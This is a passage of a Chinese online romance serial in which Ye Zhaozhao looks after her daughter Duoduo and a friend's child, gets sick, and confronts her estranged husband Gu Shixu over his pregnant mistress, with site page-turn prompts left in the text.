可我拿出手机,又放了回去。
毕竟,我不想让他知道我还在乎女儿,更不想让他用朵朵继续威胁我,把我捆绑在这段婚姻里。
上午,我刚到单位,孟云初就过来找我说关于苏雅欣和顾时序的八卦。
“看到没有?现在全网都在期待顾时序和苏雅欣什么时候办婚礼?跟磕CP似的。”
说到这儿,她恨恨道:“真没想到,苏雅欣这个贱人生命力这么强!居然开了一晚上直播,直接把顾氏之前跌下去的股价活生生给拉上来了。现在,顾时序的名声也跟着好起来了。”
我似乎明白了顾时序选择苏雅欣的原因了。
他看中了苏雅欣的商业价值,他也想利用这波流量,把之前被沈宴州抢走生意这口气给挣回来。
我冷笑,喃喃道:“顾时序真是越来越没有底线了。”
孟云初似懂非懂地看着我,骂骂咧咧地说:“整日跟苏家那帮人混一起,能有什么底线?”
说到这儿,她忽然严肃地看着我,道:“总有一天,你要把结婚证亮出来,让他们站得多高就摔得多狠。让全网都知道,苏雅欣是个什么货色!”
我笑了笑,道:“当然。”
现在没有亮出结婚证,不代表我永远都会帮他们隐瞒。
等顾时序威胁不到我的时候,我一定会曝光他们,一定!
……
整整一天,茶水间里都能听到女同事们私下里讨论这件事。
我也有点心神不宁的。
到了幼儿园放学时间,我便去接霍珊。
因为今天路上堵车,我去的时候,小朋友们都被接走了。
偌大的教室里,只剩下两个小小的身影。
霍珊正趴在小桌子上给朵朵看她的画,朵朵则单手撑着下巴,眼神飘向窗外,闷闷不乐的。
看见我时,她眼里亮了一下,转瞬又灭了,赶紧把头望向别处。
而霍珊立刻站起身拿起书包朝我走来,雀跃地喊我:“叶阿姨!”
我蹲下来揉了揉她的头发,道:“抱歉,等急了吧?”
霍珊摇摇头道:“还好。”
这时,我目光落在不远处的朵朵身上。
她嘴角抿了抿,看着霍珊眼里藏着点说不出的羡慕。
我莫名有些心疼,牵着霍珊走过去,问:“怎么还没人来接你?”
朵朵声音蔫蔫的,没了平时的傲气:“爸爸最近很忙……司机叔叔也不知道怎么了,到现在都没来。”
这时,霍珊突然拉了拉朵朵的手,道:“朵朵,那你跟我们一起回家吧!”
朵朵的眼睛亮了一下,可很快又看向我,嘴硬道:“我、我才不想去呢……”
霍珊晃着她的胳膊道:“去吧去吧!叶阿姨可厉害了,会缝小娃娃的衣服,晚上还会给我们做好吃的。”
朵朵没再坚持,轻轻点点头。
我带着两个孩子刚出去,一个穿着黑色西装的男人气喘吁吁地跑过来,正是顾家的司机。
“朵朵小姐,实在对不起,我来晚了!”
司机说着就要去牵朵朵的手,可朵朵却避开了,将手背在身后。
司机一愣,看向我。
我冷冷道:“今晚朵朵去我家。顾时序要是问起,让他自己来接孩子。”
司机愣了一下,下意识看向朵朵:“朵朵小姐,您看……”
朵朵没说话,只是往霍珊身边靠了靠,小手悄悄抓住了霍珊的衣角,脚步往我这边挪了挪
我看着身旁默不作声的朵朵,心里泛起一阵酸涩。
如果换作以前,以顾时序对手下的严苛程度,绝不可能发生今天这种事。
可现在,顾时序每日陪着苏雅欣,忽略朵朵。
连带着家里的司机,也会不自觉地怠慢她。
成人世界的敷衍与轻慢,最终还是落在了孩子身上。
回去的路上,朵朵的儿童手机响了。
她微微皱眉,接起电话叫了声:“奶奶。”
那边姜淑慧刺耳的声音哪怕朵朵没开扬声器,我都能隐约听见。
“朵朵,司机说你跟着叶昭昭走了?是不是她逼你的,她胁迫你了?你告诉奶奶,奶奶这就报警,告她拐卖儿童。”
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第118章 沈宴州跟有夫之妇搞暧昧
电话那头姜淑慧声音尖锐,朵朵小眉头拧成一团,道:“是我自己要跟她走的,没人逼我。”
“你这孩子怎么不听话!”姜淑慧的吼声陡然拔高,“奶奶不是反复跟你说,除了家里司机,谁的车都不能上吗?”
朵朵语气里满是委屈:“回家也是我一个人,保姆只会盯着手机,没人陪我玩……我不想一个人待着。”
“你懂什么!”姜淑慧的声音里透着些不耐烦,“你妈妈怀了小弟弟,胎象不稳,怕你淘气碰到她,这才不让你跟我们住一起。你就不能懂事点,多为你弟弟想想?”
“我不要想弟弟!”
朵朵声音里带着哭腔,道:“你们都去疼他好了,我去哪里不用你们管!”
说完,她狠狠按了挂断键,把手机往旁边一扔,小脑袋抵着车窗,肩膀轻轻发抖。
我从后视镜里看见她泛红的眼角,不禁握紧了方向盘。
这时,我自己的手机也响了。
我指尖下意识想划向挂断,却不小心接了。
姜淑慧的咒骂瞬间冲了进来:“叶昭昭,你也忒不要脸了!居然趁着雅欣怀孕,就趁火打劫,把心思动在朵朵身上。你这贱人,你立刻把朵朵给我送回顾氏庄园,听见没有?”
我淡淡的反问:“你想怎么不客气?嘴巴这么脏,就不怕损了阴德,最后报应在你心心念念的孙子身上?”
她的声音更尖了,“你就是嫉妒雅欣怀了时序的儿子!我警告你,顾依朵就是个丫头片子,顾氏的财产她一分也别想碰,你别想拿她当筹码!”
朵朵似乎听见了姜淑慧的话,原本抵着车窗的脑袋慢慢转过来,小脸上满是茫然。
虽然听不懂财产是什么意思,可她却能感觉到姜淑慧对未来孙子的期盼和对自己的嫌弃。
我直接打断姜淑慧,道:“要接朵朵回去,让顾时序自己来。”
说完,我挂了电话。
车厢里静了好一会儿,朵朵才慢慢抬起头,小声问:“我爸爸,真的会来接我吗?”
我还未说话,霍珊就道:“你爸爸不来接你也没关系的,我们一起跟叶阿姨住。你看我爸爸不是也不来接我吗?我觉得跟叶阿姨住在一起很幸福啊!不来就不来呗!”
我哭笑不得,这丫头现在倒是想的开。
可朵朵仍旧不开心,吸了吸鼻子,道:“可我还是想要我爸爸。”
我们刚到家楼下,朵朵的儿童手机又响了。
她拿出来一看,眼前亮了,“是我爸爸!”
我们边往家里走,她边接了起来。
我没准备参与她跟顾时序的聊天,一到家,便去冰箱里找食材,想着晚上做些什么晚餐?
就在这时,朵朵拿着手机走了过来,递给我:“爸爸想跟你说几句话。”
我顿了顿,不知道顾时序又要说什么卑鄙的话。
因此,我道:“你把扬声器打开。”
他想说什么,都让他女儿听着,也顺便让朵朵看看,她那么依赖崇拜的爸爸,有多无耻!
朵朵听话地开了扬声器,我一边洗菜,一边对电话里道:“有什么事赶紧说!”
顾时序道:“我在出差,这几天都不在海城,暂时没法接朵朵。听我妈说,她现在在你那儿。”
我道:“你除了出差,就是陪苏雅欣,你还知道你有一个四岁的女儿吗?”
顾时序语气略显疲惫,道:“这件事我之后再跟你解释,不过既然朵朵愿意在你那儿,那你就帮我照顾几天吧。至少,比她一个人在家让人放心。”
顾时序好像是分身乏术了,有点焦头烂额的样子。
一边是怀了孕的苏雅欣,一边是朵朵,还有顾氏的一堆事情。
我真想骂他活该!
但朵朵就站在旁边,我把到了嘴边的话又咽了回去,只冷冷应了声,就挂了电话。
朵朵站在厨房里,好像还不打算出去。
我问:“怎么了?是不是饿了?”
她摇了摇头,抬头看着我,道:“你是不是准备给霍珊当妈妈了?”
我愣了一下,没想到她会问这个,下意识道:“你想这些干嘛?反正你也不缺妈。”
她眼神里带着一抹执拗,道:“我不喜欢看你对霍珊那么好,你不是说过,我才是你亲生女儿?那你为什么对她比对我还好?”
我看着她这副模样,下意识地蹙起眉头。
这霸道的性子,跟顾时序真是一个模子刻出来的,连“自己不要都不准别人要”的霸道,都一模一样。
可我没惯着她,道:“你能认别人当妈妈,我就不能认别人当女儿?谁听我话、跟我亲,我当然就对谁好。”
朵朵被我说得哑口无言,憋了半天,才小声嘟囔:“那我要是跟你道歉呢?之前我……我不该那么对你……”
我停下手里的话,道:“道歉我接受,但必须是你真的认识到了自己的错误。而且道歉,不是你争风吃醋的手段。”
她低下头,手指在衣角上搅来搅去,声音软了下来:“我知道你想让我叫你妈妈,可是……我现在还不习惯。”
这章没有结束,请点击下一页继续阅读!“没关系。”我转过身继续准备食材,道:“我对你好,是尽到当妈的责任。至于你想不想认我,随便你。我也没指望你报答我什么。”
朵朵似懂非懂地看着我,没再说话。
就在这时,门口突然传来霍珊惊喜的叫声:“爸爸!”
我心里一愣,赶紧解了围裙往客厅走。
只见霍明琛站在门口,霍珊正像只小猴子似的挂在他脖子上,而他身边,还站着神色淡淡的沈宴州。
沈宴州的目光扫过客厅,在看到朵朵时,明显顿了一下,眼神里多了几分错愕。
我拉了拉朵朵的胳膊,轻声道:“叫叔叔。”
朵朵倒乖,小声喊了句:“叔叔好。”
沈宴州只是淡淡“嗯”了一声,看向朵朵的眼神却没什么温度,甚至带着点不易察觉的冷意。
霍珊还在跟霍明琛撒娇,搂着他的脖子不肯撒手。
朵朵看到这一幕,眼里的羡慕几乎要溢出来。
我招呼他们进门。
坐下后,霍明琛注意到朵朵,疑惑地看向我:“叶小姐,这位小朋友是……?”
我道:“这是我女儿。”
霍明琛更是惊得眼睛都睁大了,看看朵朵,又看看沈宴州,最后又看向我:“叶小姐,你……你有孩子了?”
我疑惑地看着他,这反应也太夸张了吧?
我正想解释,沈宴州却先开了口,语气带着点说不出的阴沉:“她是海城顾氏集团的老板娘,顾时序的太太。他们结婚四年了,有个女儿很奇怪吗?”
这话一出,霍明琛脸上满是尴尬。
他应该是想起了上次在高尔夫球场,他当着我的面跟沈宴州聊顾时序八卦的事。
我幽怨地瞪了沈宴州一眼,不明白他为什么要跟霍明琛提这些,平白让气氛变得这么僵。
霍明琛反应过来,赶紧打圆场:“叶小姐,这段时间珊珊麻烦你了。正好我来了,今晚这顿饭我来做,你们等着吃就行!”
说完,他还真就往厨房走去。
我都看呆了。沈宴州的朋友怎么跟他一样?都是上得厅堂下的厨房的?
霍珊也跟着蹦蹦跳跳地进了厨房,像条小尾巴似的粘着霍明琛。
客厅里瞬间只剩下我、朵朵和沈宴州三个人。
朵朵不知道哪根筋搭错了,竟然主动挪到我身边坐下,离我特别近,还一直盯着沈宴州看。
沈宴州的脸色越来越沉,对我道:“霍明琛想女儿了,刚好来海城出差,我就带他过来看看。这里没我事了,我先走了。”
他话音刚落,朵朵就脆生生地喊了句:“叔叔再见!”
沈宴州根本没理她,转身就往门口走。
我赶紧起身拦住他:“沈总,你……你要不也留下吃晚饭吧?”
毕竟我跟霍明琛不熟,没他这个中间人在,这饭吃得也太尴尬了。
可沈宴州却停下脚步,转头看着我,眼神里带着点嘲讽:“霍明琛是霍珊的爸爸,留下吃饭名正言顺。我留下,算什么?”
我想说前两次你还在我家做饭呢,那算什么?
可我没敢。
而沈宴州已经拉开门走了,只留下一个冷硬的背影。
我无奈地叹了口气。
自从苏雅欣怀孕后,沈宴州就对我越来越奇怪,一会儿冷一会儿热,说话还总是阴阳怪气的。
我回到厨房,没好意思让霍明琛一个人忙碌。
可霍明琛死活不肯出去。
就这样,我让两个孩子出去玩儿,自己留下给霍明琛打下手。
“宴州呢?”
霍明琛向外看了眼,道:“来的时候他还说今晚有雪,还能带着孩子打雪仗呢。”
我怔了怔。
这么说来,沈宴州一开始是准备留下吃饭的?
而刚才他就这么走了,是因为朵朵在吗?
“叶小姐?”
霍明琛出生提醒,打断了我的思绪,“蚝油有吗?”
我猛地回过神儿,“有,我给你拿。”
我赶紧打开柜子,拿出蚝油递给他。
然后回到他一开始的问题:“沈总刚才走了。”
霍明琛一愣,随即,了然一笑,“这家伙,脾气还是这样。越是在乎什么,越表现得不在乎。”
“什么?”
我看着他,还以为自己听错了。
霍明琛道:“难道你自己不觉得,宴州对你很特别吗?我当时还以为你是单身,没想到,你是顾时序的太太。估计是刚才看见顾时序女儿,某人被刺激到了,就走了。”
我尴尬地道:“霍先生您真会开玩笑。”
“我没开玩笑。”霍明琛道:“我跟宴州认识十来年了。我能看得出来,他对你,跟对别人不一样。宴州可从来不会主动去哪个女人家里。可他带我来你家,跟来自己家似的。”
我被他说得心烦意乱,没接话,低着头切菜。
这时,霍明琛道:“对了,你跟顾时序已经离婚了吧?”
我觉得他有点冒昧,反问道:“霍先生什么意思?”
霍明琛像人精似的,立刻了然道:“看样子,你们还没离?最近,苏雅欣怀孕闹得沸沸扬扬,你还真能忍。怪不得,宴州会生气。能看得出来,你对顾时序,感情很深。”
他越说,我越觉得他在说什么天方夜谭。
我冷下脸道:“霍先生,我跟沈总不是你想象的那样子。只是因为您最近把霍珊寄养在这里,他才跟我联系多了些。麻烦您在不知道事情全貌的情况下,不要随意揣测我,也不要乱往我头上扣帽子。”
霍明琛并没有生气,只是道:“希望是我误会了。我也不希望宴州跟个有夫之妇不清不楚地搞暧昧,这太危险了。”
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第119章 他说只是逢场作戏
他说完,我没再接话。
包括后面做饭的过程中,我都没再跟霍明琛说过一句话。
一小时后,晚餐终于做好。
虽然我和霍明琛不熟,再加上在厨房里闹了点儿不愉快,所以吃饭时,有点尴尬。
幸好霍珊一直在跟爸爸说话,父女俩的互动也多多少少缓解了餐桌上的氛围。
只不过,朵朵从始至终都沉默着,吃饭也没吃多少。
这时,霍明琛对霍珊道:“马上过年了,爸爸接你回去,好不好?”
霍珊突然顿住,我本以为她会很开心,可小姑娘有点不舍地看着我,道:“爸爸,为什么妈妈对我还没有叶阿姨对我好?如果我跟你回去,妈妈会不会还是很讨厌我?”
霍明琛尴尬得不知道该怎么回答?
他叹了口气,心疼地摸了摸女儿的发顶,道:“珊珊,你已经在阿姨家住了很久了,再住下去,会打扰到别人。而且,叶阿姨也有自己的女儿需要照顾。”
霍珊道:“我会很听话的,不让叶阿姨操心。”
我想到霍珊如果回去,或许又会经历那种看人脸色的痛苦,便道:“霍先生,珊珊的确很乖,她要是愿意留下,就让她留在我这儿吧。”
霍明琛难为情地说:“真是不好意思,家里的事让你见笑了。我太太她……算了,不说了。”
“没关系。”我别有深意地说:“家家有本难念的经,我理解。”
霍珊听到自己还可以继续留在这儿,终于又露出了笑脸,对霍明琛道:“爸爸,以后你可以经常来海城看我吗?这样的话,我可以看到爸爸,又可以跟叶阿姨在一起,那我就太幸福了!”
就在这时,朵朵撅着嘴道:"你自己不是有妈妈吗?为什么总喜欢跟别人的妈妈在一起?"
朵朵这话一出口,餐桌的空气瞬间凝固。
霍珊脸上的笑容僵住,小小的脸上染了一抹深深的落寞。
我心头一紧,立刻沉下脸对朵朵说:“朵朵,道歉。”
“我不!”
朵朵把筷子往桌上一放,愤愤地说:“你就是偏心!”
说完,她站起身就往自己房间跑,“砰”的一声关上了门。
我连忙看向霍明琛父女,歉疚地说:“霍先生,实在对不起,朵朵不懂事,我会好好教育她的。”
霍明琛却笑着摆了摆手,伸手拍了拍霍珊的背安抚她。
“没事的叶小姐,小孩子嘛,心思单纯,就是怕你疼了别人忽略她,争风吃醋很正常。你先去好好安慰下朵朵,别让孩子心里委屈。”
他顿了顿,又补充道,“我今晚在附近酒店订了房间,这几天想带珊珊在海城逛逛,等玩够了再把她送回来,麻烦你多费心了。”
我连忙点头应下:“您太客气了,珊珊这么乖,能照顾她我也很开心。”
饭后,霍明琛便带着霍珊离开了。
我收拾完碗筷,走到房间门口。
刚推开门,就听见里面传来小声的抽泣声。
我无奈地靠在门框上,问:“哭什么?刚才凶巴巴的劲儿呢?”
“不用你管!”朵朵头也不回地埋在枕头里,声音带着哭腔。
我故意顺着她的话说:“好啊,既然不用我管,那你还在我家待着干嘛?”
这话让朵朵瞬间没了声音,她猛地抬起头,眼眶通红地瞪着我,却半天说不出反驳的话来。
这孩子跟顾时序简直一个模子刻出来的,霸道又拧巴,越是哄着越是得寸进尺,所以我偏不惯着她。
“要不是珊珊主动邀请你过来,你现在还一个人在顾氏庄园孤零零待着呢。”
我严肃地看着她,道:“要是你总把别人的善意当成理所当然,以后没人会再愿意对你好。你自己好好想想吧。”
说完,我转身离开,去书房打开电脑写小说,也不再哄她。
直到晚上十点多,书房门被轻轻推开一条缝,朵朵磨磨蹭蹭地探进脑袋,声音小得像蚊子哼:“霍珊……她怎么还没回来?”
我手指没停,一边码字,一边故意道:“被你气走了!”
她耷拉着脑袋,别别扭扭地说:“我……我明天跟她道歉还不行嘛。”
我这才转过身来,道:“你当然要道歉,明天在幼儿园见到她,自己跟她说。现在太晚了,你先去洗洗睡吧。”
朵朵不可思议地看着我:“你让我自己洗?”
我皱起眉,提醒她:“上次我给你洗澡,你是怎么对我的?”
她瞬间想起自己上次把沐浴露抹到地上害我摔跤,对我大骂的事。
小丫头攥着衣角,蔫蔫儿地说:“我以后不这样了。”
“你已经四岁了,连衣服都穿不利索,像话吗?”我继续说。
朵朵却不服气地撅起嘴:“那霍珊呢?她会自己洗吗?你能照顾她,为什么不能照顾我?”
“霍珊不仅会自己洗澡,每天早上还能自己梳头发。”我看着她半信半疑的眼神,补充道,“不信你明天可以问她。”
朵朵咬了咬唇,不服气地说:“不就是自己洗澡嘛,我也会!”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!我起身去浴室给她放好水,又找了件霍珊的干净睡衣递给她。
她皱起眉头,嫌弃地说:“我不穿别人的衣服。”
我脸一冷,语气也硬了下来:“那你就光着。”
朵朵被我噎住,气鼓鼓地抓过睡衣。
我提醒道:“明天别忘了跟霍珊说谢谢,还有,跟她道歉!”
“知道了!”
她声音闷闷的,带着点不情愿,却没再反驳。
洗完澡,我想把她安排在霍珊睡的客房,可她却道:“我不要一个人睡,我怕黑!以前,都是妈妈带着我睡的……”
说到这儿,她好像觉得自己说错话了,赶忙看了我一眼,道:“我……我的意思是……你能不能陪我一起睡?”
小姑娘眼神软软的,我终究还是答应了。
“那你先去床上,我还要工作一会儿,得晚点才能睡。”
她乖乖点点头,朝我卧室走去。
我晚上写小说一直到凌晨,回到卧室时,小姑娘已经睡着了。
被子被她蹬到一边,一张小脸儿红扑扑的。
我无奈地摇了摇头,重新将被子给她盖好。
虽然现在跟她在去一起,再也没有当初刚找到亲生女儿的激动,可或许是母女连心,看着她安安静静睡着的样子,我的心也会变得柔软。
……
翌日我去接朵朵放学,一上车,她便告诉我,“霍珊的爸爸给她请假了,我本来想跟她道歉来着,可她这几天都不来了。”
我想,霍明琛好不容易来一趟,估计是要好好陪女儿玩几天。
“大概是她爸爸带她去玩儿了。”
我一边跟她解释,一边开车。
朵朵小声问:“那等她玩够了,还会来幼儿园吗?”
我笑了下,道:“怎么?你舍不得她走吗?”
“才不是!”
朵朵嘴硬地说:“不是你跟我说,要有感恩之心吗?我只是想当面跟她道歉再道谢而已。”
日子一晃到了朵朵放寒假这天。
前几天为了赶稿熬了好几个通宵,夜里又不小心着了凉。
早晨醒来我只觉得浑身滚烫,一量体温竟烧到了39度。
窗外还在下雪,地上的雪已经积了厚厚一层,连外卖都停了。
我躺在床上,连抬手的力气都没有。
看着一旁眼巴巴等着吃饭的朵朵,虚弱地道:“你去零食柜找点儿饼干先垫垫肚子吧,今天……我实在没力气给你做饭了。”
朵朵点点头,转身去拿了饼干和一些零食过来。
不过,她没有立刻拆开,反而走到我身边,小眉头皱得紧紧的:“那你吃什么呀?爸爸以前说,生病了就要吃药,你为什么不吃药?”
我叹了口气,声音发哑:“家里没有退烧药了,现在外面不好送,等我缓一缓再说。你先吃饭吧!”
说完,我就想闭上眼睛歇会儿。
可没一会儿,就听见身边传来小声的啜泣。
我勉强睁开眼,看着朵朵通红的眼眶,无奈地问:“又哭什么?”
她抹了把眼泪,抽噎着说:“你会不会死掉啊?以前我发烧,刘妈说我差点就没了……”
我愣了一下,心里又酸又软,故意逗她:“我要是死了,你会伤心吗?”
朵朵吸了吸鼻子,别过脸,嘴硬道:“以前不会,现在……现在也就一点点伤心。”
看着她那副口是心非的样子,我又好笑又心疼。
但我烧得实在难受,便试探着问:“小区门口有家药店,你能帮我去买盒退烧药吗?”
我其实没抱希望。
朵朵以前在顾家时被宠得不像样子,去哪里都有人一大堆人跟着,她是来我这里才学会自己穿衣服的。
更别说出去买药了。
可朵朵却立刻点头,道:“那你给我钱,再告诉我买什么药。”
我有些不放心,问:“你认识回来的路吗?”
“当然认识!”她自信地说:“每天你送我去幼儿园都要经过那家店,我记得很清楚。”
我把药名写在纸上递给她,又给了她钱,反复叮嘱:“买了药就马上回来,不准过马路,就在小区旁边那家,别乱跑。”
“知道啦!”
她不耐烦地应着,却乖乖把纸条叠好放进羽绒服的口袋里。
我让她把手机带上,出门后一直保持通话。
没过多久,她就回来了。
小姑娘脸蛋儿冻得通红,手里紧紧攥着药盒,道:“你看,我厉害吧!”
我鼻尖一酸,欣慰地点点头,“嗯,你真棒!”
她仿佛受到了莫大的鼓舞,道:“你等着,我去给你倒水。”
她自顾自地跑到饮水机旁边,给我倒了杯温水。
望着她递过来的水杯和药,我眼眶突然有点发热。
以前总觉得这孩子被宠坏了,可离开顾家没人惯着,她其实什么都懂。
“谢谢。”
我说这话的时候有点哽咽。
她像被烫到一样别开脸,道:“这有什么好谢的?不就是买个药吗,一点都不难。”
吃了退烧药,下午体温慢慢降了些。
本小章还未完,请点击下一页继续阅读后面精彩内容!而朵朵今天格外乖,就坐在我旁边看童话书。
偶尔她会放下书,小手轻轻摸我的额头,皱着眉问:“现在脑袋凉凉的,是不是就不发烧了呀?”
我被她认真的样子逗笑:“你都不知道怎么摸,还总碰它干嘛?”
她却一本正经地说:“我以前发烧的时候,爸爸就是这样一直摸我的脑袋,说这样能好得快。”
我望着她,道:“抱歉啊,今天让你吃了一天饼干,都是垃圾食品。”
朵朵却摇摇头,眨了眨眼睛道:“我本来就喜欢吃饼干呀。不过你今天什么都没吃,会不会饿呀?”
“等我再缓会儿,就去厨房给你煮点面条。”
我嘴上说着,身体却还是酸痛得不想动。
就这样,一整天我睡睡醒醒,昏昏沉沉的。
傍晚时分,门铃响了。
朵朵眼前一亮,道:“会不会是霍珊的爸爸把她送回来了?”
毕竟,这几天只有我跟她在家,她自己也挺无聊的。
所以她也想让霍珊回来陪她玩儿。
我叮嘱道:“一会儿看到霍珊爸爸要有礼貌,还有,对霍珊好一点。”
“嗯,知道啦!”
说完,她下了床,踩着拖鞋跑去开门。
就在这时,令我头痛的声音传了过来:“爸爸!你回来啦!我都想死你啦!”
很快,顾时序的声音也穿入我耳里:“宝贝,爸爸也想你。刚下飞机,就赶过来了。最近有没有听话?”
“当然啦,我一直都很听话哦。只不过……她生病了……”
朵朵的声音逐渐低落下来。
我下意识蹙起眉头,‘顾时序’这三个字,现在简直让我生理性反感。
很快,顾时序抱着朵朵进来了。
“你怎么了?”
他眉宇间染上一抹担忧。
朵朵从他怀里滑下来,解释道:“她发烧了!好像很难受的样子。”
顾时序弯腰,伸手就想摸我的额头。
我下意识偏过脑袋避开他的触碰,声音又冷又哑:“你不用管我,既然你是来接朵朵的,现在就可以把她带走了。”
他的手僵在半空,眼神沉了沉,却没收回,反而固执地再次探过来。
指尖触到我皮肤时,他眉心皱得更紧:“这么烫?你是我太太,我要是现在丢下你走了,那我成什么人了?”
说完,他没再看我的脸色,径直脱下西装外套,挂在衣架上。
转头对朵朵道:“宝贝,你在这陪妈妈一会儿,爸爸去厨房给你们做点东西吃。”
朵朵眼睛瞪得溜圆,满是惊讶地问:“爸爸,你还会做饭?”
我也下意识朝他那边瞥了一眼。
在我印象里,顾时序从没有进过厨房。
果然,顾时序被女儿问得愣了一下,脸上露出几分难色,尴尬地说:“以前不会,现在可以学。你乖乖等着,爸爸很快就好。”
他走后,朵朵走到床边,有点不满地看着我:“你能不能对我爸爸态度好一点呀?他明明是好心来照顾你,你干嘛一直要轰我们走?爸爸刚下飞机就过来了,他也很累的。”
我靠在床头,闭了闭眼,没说话。
不是不想辩解,是真的没力气。
更重要的是,朵朵是顾时序一手带大的,在她心里,顾时序永远是最重要的。
我和顾时序之间的那些纠葛、我的苦衷,就算我掰开揉碎了说,她也不会懂。
没过多久,一股明显的糊味飘进屋里。
朵朵立刻反应过来,飞快地跑向厨房。
紧接着,她的吐槽声就传了过来:“爸爸!你也太笨啦!熬个白粥都能弄糊掉。”
又过了一会儿,顾时序端着一杯水进来,道:“你先把药吃了,至于饭……我一会儿让孙杰送过来。”
说着,他就要打电话。
我阻止道:“这大雪天的,外卖都不好走,你干嘛还要折腾孙杰?我一会儿好了自己做面条吃,你赶紧带着朵朵走吧。”
顾时序没走,反而在我床边的椅子上坐了下来。
他身体微微前倾,目光牢牢锁着我,语气里藏着一丝不易察觉的试探:“你还在因为雅欣怀孕的事,跟我生气,是不是?”
我眼皮沉重得像挂了铅,听着这话只觉得心里更累,干脆直接闭上眼,连跟他争辩的力气都没有。
有些事,解释再多也没用,他永远有自己的理由。
顾时序见我不答,自顾自地开口解释:“雅欣的孩子没打掉,不是我想留,是沈宴州最近一直在针对顾氏,顾氏现在的每一步都很重要。这时候要是让雅欣把孩子流掉,公众那边都看着,到时候顾氏的处境只会更难。”
我终于开口,道:“现在全网都在等着你们的喜讯。顾时序,我们的离婚尽快办了吧,否则,你这算是重婚罪。”
他眉头蹙得很深,偏执又令人绝望:“昭昭,我跟她只是逢场作戏!我现在需要她的商业价值,但我绝对不会跟她结婚。当然,我也不会跟你离婚。”
我忍不住笑了下,道:“顾时序,我以前还以为,苏雅欣在你心里总该有点不一样的。但现在看来,你对每个女人都是一样的渣。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!顾时序的眸光逐渐低垂下去。
他沉默了几秒,声音压得很低:“昭昭,还记得那天下雪的晚上我来找你吗?其实我在楼下站了很久,我看见你跟沈宴州,还有那个孩子在雪地里堆雪人。我……很难过,那一晚,我想了很多。以前我总以为对你只是兄妹之情,可现在我才明白,我对你就是男女之情。”
我只觉得一阵生理性的恶心,一字一句道:“顾时序,你能不能别再说这种话恶心我了?我们认识二十多年,结婚四年多。四年前是你拿着戒指跟我求婚,说想跟我过一辈子。现在你告诉我,你分不清兄妹之情和男女之情?”
他突然将我的手握在手心,道:“昭昭,能不能再给我一个机会?我保证,我会尽快处理好雅欣的事。就算她把孩子生下来,我也绝对不会让他们母子影响到你。我会安排他们出国,永远不回来打扰你和朵朵。只要你点头,剩下的所有事,都交给我来解决,好不好?"
我用力抽回手,深吸了一口气,疲惫感像潮水一样将我淹没。
我只想安安静静睡一会儿,逃离这令人窒息的一切。
“顾时序”,我闭着眼,声音虚弱得像一阵风,“你能不能先出去?我困了,想睡觉。”
他缓缓松开手,起身帮我把被角掖好,道:“好,你先好好休息。我说的话,你好好考虑考虑。”
……
这次发烧仿佛抽干了我所有力气。
一觉醒来,天都已经亮了。
头还有些昏沉,但身上那种发烧导致的痛感已经退了,只是四肢还有些乏力。
身边传来均匀的呼吸声,转头一看,朵朵蜷缩在被子里,睡得很香。
听见我的动静,还无意识地翻了个身,咂了咂嘴继续睡。
我心里泛起疑惑。
难道昨晚顾时序没把朵朵带回去?
正想着,外面传来轻微的锅碗碰撞声,我心里一紧,立刻掀开被子下床,趿着拖鞋快步走出去。
厨房门口,顾时序正弯腰盯着流理台上的锅。
听见脚步声,他回头看我,自然地像是在顾氏庄园:“你醒了?烧退了没?”
“你怎么还没走?”
我蹙眉看着他,道:“顾时序,这不是你家。”
顾时序像是没听见我的质问,他关掉燃气灶,小心翼翼地端起锅,像献宝似的走到餐桌旁。
“这次应该熬成功了!你尝尝,这回没糊。”
我顺着他的动作看向厨房角落,那里突兀地放着一个大号塑料桶。
走近一看,桶里装着大半桶被他熬坏掉的粥。
我只觉得一阵头昏脑涨。
要是放在以前,顾时序肯为我洗手作羹汤,哪怕就像现在一碗白粥,我恐怕都会觉得受宠若惊,甚至会幸福好几天。
可现在,我盯着那碗寡淡的白粥,脑海里却不受控制地浮现出沈宴州做的那满桌子色香味俱全的菜。
不等我回神,顾时序已经盛了一碗粥,用勺子舀起一勺,凑到嘴边轻轻吹了吹,然后递到我面前。
他眼神格外认真,语气带着一抹轻哄:“昭昭,尝一口。”
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第120章 他一寸寸逼近我
我别开脸,语气冷得像冰:“我不想吃,麻烦你现在就离开我家。”
他递在半空中的手瞬间僵住,脸上的期待一点点褪去。
沉默几秒后,他放下勺子,落寞地开口:“我从凌晨四点就开始熬这锅粥,失败了好几次才做好。昨晚一整夜,我每隔一小时就给你测一次体温,就怕你又烧起来。昭昭,究竟要我怎么做,你才能对我不要这么冷漠?”
我抬眼看向他,道:“太迟了,顾时序。你现在做的所有事,都太迟了。你对我的所作所为,不是一锅粥就能弥补的。你打动不了我,别再白费力气了。”
就在这时,门铃突然响了,打破了客厅里僵持的气氛。
顾时序皱了皱眉,起身去开门,我也跟了过去。
还以为他又使唤孙杰来送早餐了。
然而,门打开的瞬间,我愣住了,莫名一阵尴尬和心虚。
沈宴州站在门外,手里还牵着背着小书包的霍珊。
看到开门的是顾时序,霍珊眼睛瞪得溜圆,满是震惊地问道:“朵朵爸爸?你怎么在这里呀?难道你昨晚住在叶阿姨家了吗?”
沈宴州的目光越过顾时序,落在我身上。
他那张向来沉静的脸上划过一丝异样。
但他很,快收敛了情绪,嘴角勾起一抹似笑非笑的弧度:“看来,我来得不是时候。”
顾时序侧身挡住门口,语气里带着明显的挑衅:“舅舅来得正是时候。我刚给我太太熬了粥,要不要进来一起喝点?”
“不必了。”
沈宴州冷冷的拒绝,拉了拉霍珊的手,“我们还有事,先走了。”
说完,他转身就带着霍珊往电梯口走,没有丝毫停留。
我心里一慌,下意识就想追出去解释,手腕却突然被顾时序攥住。
他用力把我拉回来,“砰”的一声关上大门,语气里满是嘲讽:“怎么这副表情?被沈宴州看到我住在这儿,你怕他误会?叶昭昭,你搞清楚,我们还是合法夫妻!你现在这副样子,倒像是被他捉奸在床似的!”
“啪——”清脆的巴掌声在客厅里响起。
我扬手给了他一耳光,手心传来火辣辣的痛感,心里的怒火却丝毫没减。
顾时序俊朗的侧脸上迅速浮现出一道红痕。
他放下手,舌尖顶了顶腮帮子,眼神复杂地看着我,语气却带着几分近乎病态的纵容:“打我打上瘾了是吧?不过没关系,只要能让你解气,你想打多少下都随你。”
“你简直不可理喻!”
我被他气得浑身发抖,伸手指着门口,声音因为愤怒而颤抖,“出去!你现在立刻离开我家!你要是再不走,我就报警了!”
